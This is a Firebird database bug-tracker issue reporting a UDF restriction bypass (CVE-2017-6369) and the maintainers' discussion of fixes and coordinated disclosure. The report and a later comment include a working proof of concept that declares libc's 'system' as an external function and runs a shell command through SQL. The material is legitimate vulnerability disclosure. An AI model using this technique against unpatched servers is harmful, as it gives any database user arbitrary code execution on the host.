Issue Details (XML | Word | Printable)

Key: CORE-5474
Type: Bug Bug
Status: Closed Closed
Resolution: Fixed
Priority: Critical Critical
Assignee: Alexander Peshkov
Reporter: George Noseevich
Votes: 0
Watchers: 2
Operations

If you were logged in you would be able to see more operations.
Firebird Core

'Restrict UDF' is not effective, because fbudf.so is dynamically linked against libc

Created: 01/Feb/17 10:02 AM   Updated: 30/Mar/17 08:35 AM
Component/s: UDF
Affects Version/s: 2.5.6
Fix Version/s: 2.5.7, 3.0.2, 4.0 Alpha 1

Environment: Linux X86_64

QA Status: Cannot be tested


 Description  « Hide
The default setting for UDF access when installing firebird 2.5.6 on linux is 'UdfAccess = Restrict UDF', which allows access to any symbols defined in udf libraries shipped with firebird within UDF folder. There are two libraries there - fbudf.so and ib_udf.so. Both of them are dynamically linked with libc:

ldd /opt/firebird/UDF/fbudf.so
linux-vdso.so.1 (0x00007fff4e129000)
libm.so.6 => /usr/lib/libm.so.6 (0x00007f38b1389000)
libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007f38b116c000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f38b0dce000)
/usr/lib64/ld-linux-x86-64.so.2 (0x000055562c490000)

Any DB user can use this to escalate his privileges to code execution:

    DECLARE EXTERNAL FUNCTION EXEC cstring(4096), integer RETURNS integer BY VALUE ENTRY_POINT 'system' MODULE_NAME 'fbudf' ;
    select first 1 EXEC('touch /tmp/proof') from some_table;

If this is a design decision, this should be more clearly documented (current comments in firebird.conf suggest that 'restricted' UDF provides some additional protection as opposed to None). If not, this should probably be fixed by statically linking all that is needed by this .so files and double-checking that the exports table is fine.

I also think it is a good idea to provide some level of additional access control for external functions. I.e. only SYSDBA or selected users can declare/alter/drop external functions.

PS: I am restricting access to the issue as this is, from my viewpoint, a security vulnerabilty and the POC is included. I did mention this on twitter (quite carelessly) before I understood that it applies to all users, not just SYSDBA, but without a POC. Anyway, this bypass is so simple, that it is probably already widely known among people who hack things.

PPS. Didn't have time to test this on FB 3 or on Windows.

 All   Comments   Change History   Subversion Commits      Sort Order: Ascending order - Click to sort in descending order
Adriano dos Santos Fernandes added a comment - 02/Feb/17 01:00 AM
What a bug!

It seems some OSs have RTLD_FIRST to restrict lookups for only the passed library, but glibc does not have it.

Should it be checked with dladdr after dlsym? But dladdr is also a function that is not always present.

George Noseevich added a comment - 02/Feb/17 07:38 AM
It may also be possible to use dlinfo to list all the symbols and then disallow anything other than that, though I have no idea how portable this solution is.

Adriano dos Santos Fernandes added a comment - 02/Feb/17 07:47 PM
Well, dlinfo is also a GNU extension, as well dladdr which is easy to use.

Alexander Peshkov added a comment - 03/Feb/17 04:13 PM
Dladdr is defintely preferred. Unlike dlinfo it's present de-facto on most of supported by us platforms.

Michal Kubeček added a comment - 07/Feb/17 08:22 AM
How carefully should this be handled? Is it OK to provide updated distribution packages with the fix (without sharing any information about the abuse mechanism beyond what is mentioned in the commit message)?

Alexander Peshkov added a comment - 07/Feb/17 08:34 AM
Previously we released packages and mentioned that they fix severe vulnerability. Details were disclosed approximately a month after it to let people update without great hurry.

George Noseevich added a comment - 07/Feb/17 11:54 AM
TWIMC: I've tested this on windows (using fb 2.1 with win 2003, because that's what I needed) and this 'dll chaining' does not seem to work there. So the scope might be limited to *nix only.

George Noseevich added a comment - 08/Feb/17 06:56 PM
I've also noticed that it is (still) possible to use 'internal' C++ symbols from fbudf.so, like Firebird::NoThrowTimeStamp::decode_timestamp (_ZN8Firebird16NoThrowTimeStamp16decode_timestampE13ISC_TIMESTAMPP2tmPi). May it be possible to use these to corrupt/manipulate memory in some unexpected ways? Is there a real need to make these symbols accessible in UDFs?

Dmitry Yemanov added a comment - 08/Feb/17 07:31 PM
> I also think it is a good idea to provide some level of additional access control for external functions. I.e. only SYSDBA or selected users can declare/alter/drop external functions.
Just for the record, it's already done in FB3.

Alexander Peshkov added a comment - 08/Feb/17 08:47 PM
> May it be possible to use these to corrupt/manipulate memory in some unexpected ways?

Certainly possible. Moreover, it's very easy to corrupt something just passing invalid (i.e. unexpected by C code) parameters to absolutely valid entrypoints. The point of this issue is to avoid calling functions from underlying libraries, is not it so?

George Noseevich added a comment - 08/Feb/17 09:39 PM
>> The point of this issue is to avoid calling functions from underlying libraries, is not it so?
Absolutely.
I was just wondering about other possible ways to use the default UDF functionality to escalate DBA to code exec and possible mitigations.

George Noseevich added a comment - 28/Feb/17 09:40 AM
MITRE assigned CVE-2017-6369 for this issue. Please let me know when the issue is ready for publication.

Alexander Peshkov added a comment - 28/Feb/17 09:48 AM
Will do.
Next week we plan to release 3.0.2 (2.5.7 is already out) and after it we should give one-two weeks for 3.0 users to upgrade.

anarcat added a comment - 29/Mar/17 04:10 PM
What is the simplest way to reproduce this issue?

I've tried here and only got an error 3900:

   SQL> DECLARE EXTERNAL FUNCTION EXEC cstring(4096), integer RETURNS integer BY VALUE ENTRY_POINT 'system' MODULE_NAME 'fbudf' ;
   SQL> select first 1 EXEC('touch /tmp/proof') from SALES;
   Statement failed, SQLSTATE = 39000
   function EXEC could not be matched

anything i should enable or grant? this is as the default sysdba user...

Alexander Peshkov added a comment - 30/Mar/17 08:29 AM
George, 3.0.2 is released and people had time to upgrade. I suppose it's OK to publish it.

Alexander Peshkov added a comment - 30/Mar/17 08:35 AM
@anarcat

The following works for me:

# ./isql -z employee
ISQL Version: LI-V2.5.5.26952 Firebird 2.5
Server version:
LI-V2.5.5.26952 Firebird 2.5
Database: employee

SQL> DECLARE EXTERNAL FUNCTION system cstring(4096) RETURNS integer BY VALUE ENTRY_POINT 'system' MODULE_NAME 'fbudf';
SQL> select system('touch /tmp/proof') from rdb$database;

      SYSTEM
============
           0

SQL> shell ls /tmp/proof;
/tmp/proof
SQL>